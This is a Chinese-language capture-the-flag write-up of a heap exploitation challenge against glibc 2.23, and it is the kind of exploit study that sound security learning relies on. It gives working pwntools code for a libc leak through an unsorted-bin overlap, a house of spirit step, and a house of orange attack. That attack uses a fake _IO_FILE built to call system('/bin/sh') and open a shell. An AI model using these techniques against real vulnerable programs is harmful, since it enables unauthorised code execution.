20180611
0x00 前言
这道题做起来感觉局限性很大,不能自定义chunk的大小,只能分配0xD0和0x80的chunk;然后一共能用来放堆块的全局数组大小只有3。所以最后几乎是极限利用house of orange做出来的。所以,不知道是不是预期解。。。(按照我做pwn的魔咒估计又不是预期了2333
0x01 漏洞点
漏洞点有两处,一个是在申请普通pig时,有16字节的溢出
pigs[v1] = (char *)malloc((signed int)pig_size);
//...
puts("data:");
get_input(pigs[v1] + 16, pig_size); // overflow
还有一个是可以直接修改fly pig后面的那个chunk
get_input(buf_0x70 + 0x80, 16);
因为刚好buf_0x70
的chunk大小是0x80,所以这刚好可以写到下一个chunk的fd和bk
0x02 leak
首先是要leak,还是老思路,溢出转成UAF,这里可以用把unsorted bin延伸的思路。具体就是,把unsorted bin延伸到后面一个已经在使用的chunk,然后申请一个堆块,这个时候就可以通过show那个UAF的pig来实现fd的leak。
具体实现如下
create_pig(0, "A" * 0xB7 + "\n")
create_pig(1, "B" * 0xB7 + "\n")
create_pig(2, "\x00" + "C" * 0xB6 + "\n")
free_pig(0)
free_pig(1)
create_pig(0, "A" * 0xB8 + p64((0xD0 * 2) | 1)[:7] + "\n")
#extend unsorted bin chunk
create_pig(1, "\x00" * 0xB7 + "\n")
#此时idx为2的pig处于UAF状态,可以leak出fd
leak = print_pigs()[0xd0:0xd0+6]+"\x00\x00"
libc_addr = u64(leak) - UNSORTED_OFF
assert (libc_addr & 0xfff) == 0
print hex(libc_addr)
0x03 极限house of orange
思路
这题leak是比较简单的,难的是任意代码执行。这题明显不能fastbin attack,因为没法分配0x70的chunk。想了一下发现只能house of orange。但是house of orange需要溢出一整个_IO_FILE
的数据,我们这边只能溢出16个字节,尤其是最关键的bk
指针没法溢出到,怎么办?
一开始的思路是,构造两个0xD0和0x80的chunk,使他们可以溢出到同一个unsorted bin,这样两个pig“合作”,一个负责溢出prev_size
和size
,一个负责写fd
和bk
,然后_IO_FILE
其他数据就预先放在这个chunk里面。
然而不行,构造不出这种情况。
那么换思路,我们真的需要溢出prev_size
和size
么?前者可以用跟放_IO_FILE
其他数据一样的思路预先放好,而size
只要是0x61就行,而这是可以通过溢出unsorted bin chunk的大小构造出来的。
准备工作
首先是_IO_FILE
的内容
fake_file = p64(0)
fake_file += p64(0x61)
fake_file += "\x00" * 0x10 # fd and bk
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(libc_addr + e.symbols["system"])
这里不是通过自己构造虚表,而是用了一个libc里面的虚表中一个函数,这个虚表在_IO_jump_t
的后面,就在这个表偏前面的位置,有个函数,里面有个call [xxx+0xe8]
这样的指令,很好找的。然后第一个参数刚好也用了结构体里面的一个数据,所以在那里放/bin/sh
的地址即可,然后0xe8处放system的地址,即可实现system("/bin/sh")
。
这个利用方式比起自己构造虚表有一个好处,一是不用leak堆的地址,二是可以绕过2.24以上版本的一个security check。这题libc版本是2.23,所以用这个方法的原因是前者。
接着清理一下堆
free_pig(1)
free_pig(0)
#fake_file[0x20:0x50]
create_pig(0, "F" * 0xB7 + "\n")
free_pig(0)
#consume last chunk,
#last chunk won't be consolidated because pre_inuse of topchunk
#so do consolidation by ourselves
#now bins are empty, everything merged to top chunk
#donot use idx 2 now
这里有个有趣的现象,因为虽然我们延伸了unsorted bin chunk的大小,但是top chunk的prev_use
仍然是1,所以在free 1和0 之后,前面的unsorted bin跟那个UAF的chunk并不会consolidate,所以后面要再create一下,拿到之前那个UAF的chunk,再free,就会全部consolidate成一个top chunk了。(除了0xB21处最开始分配的那个3616大小的chunk,然而我并不知道那是干嘛用的,大概那才是预期解?233)
house of spirit 解放idx 2
此时0和1是空的,2是一个野指针。然后接下来的利用,我一开始试着只用两个pigs来弄,发现怎么也弄不成功。所以务必解放idx为2的pig。然而他是个野指针,随便free可能会爆,怎么办?可以用house of spirit的思路,把他作为一个用不到的大小的fastbin chunk释放掉,比方说这题我就用了0x20。
create_fly_pig()
create_fly_pig()
create_fly_pig()
#topchunk fb0
#dangling pointer fe0
#0x30
create_pig(0, "PREVSIZE" + p64(0x21) + "A" * 0x18 + p64(0x1234))
free_pig(0)
#free 0 first to prevent fastbin consolidation
free_pig(2)
#house of spirit to make idx 2 available
#now bins only has 0x20 fastbin
#3 pigs are clear
这里要注意,必须要先free 0再free 2,不然会导致fastbin consolidate,这样会爆异常。
这个时候3个pigs又都可以用了,而且bins除了0x20 fastbin也都是空的,然而这个0x20根本不会被用上
house of orange花式利用
接着就是house of orange了,要构造一个0x61的chunk,同样用之前的思路,改写unsorted bin的大小。这个时候就要把unsorted bin大小改写成0x60+0x80
,这样的话create一个flypig之后,刚好能剩下一个0x60的chunk。
当然,要预先在内存中放好_IO_FILE
的关键数据,exp如下
create_pig(0, "F" * 0xB7 + "\n")
create_pig(1, "\x00" * 0x80 + fake_file[0x20:0x50] + "G" * 7 + "\n")
#\x00是因为_flags(prev_size)要是0
create_pig(2, fake_file[0x70:] + "\n")
create_fly_pig() #prevent topchunk consolidate
free_pig(0)
free_pig(1)
#now 0x1a1 unsorted bin
create_pig(0, "E" * 0xB8 + p64((0x60 + 0x80) | 1)[:7] + "\n")
create_fly_pig()
edit_fly_pig(p64(libc_addr + UNSORTED_OFF) + p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)[:7] + "\n")
sh.send("4\x00")
sh.recvuntil("secret:\n")
sh.send("UOTp%I<S\n")
sh.interactive()
至于这个“预先放好”的位置是如何确定的,大概就是不断地脑补+调试吧,有时候右脑不够用纸上画个图也能帮助思考。
有趣的是,好像在这个版本0x60+0x80=0xe0
的unsorted bin chunk的后面并不用伪造next chunk的prev_size
和size
,这个好像在后面libc的版本是有检查的。